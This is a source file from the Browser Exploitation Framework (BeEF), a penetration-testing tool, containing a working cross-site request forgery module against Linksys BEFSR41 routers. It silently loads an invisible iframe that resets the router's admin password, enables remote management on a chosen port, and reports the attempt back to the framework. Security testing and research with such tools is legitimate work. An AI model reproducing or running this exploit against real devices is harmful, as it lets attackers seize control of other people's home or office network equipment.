Path: blob/master/modules/exploits/router/linksys_befsr41_csrf/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var timeout = 15;89var befsr41_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();10befsr41_iframe_<%= @command_id %>.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0');1112beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");1314cleanup = function() {15document.body.removeChild(befsr41_iframe_<%= @command_id %>);16}17setTimeout("cleanup()", timeout*1000);1819});20212223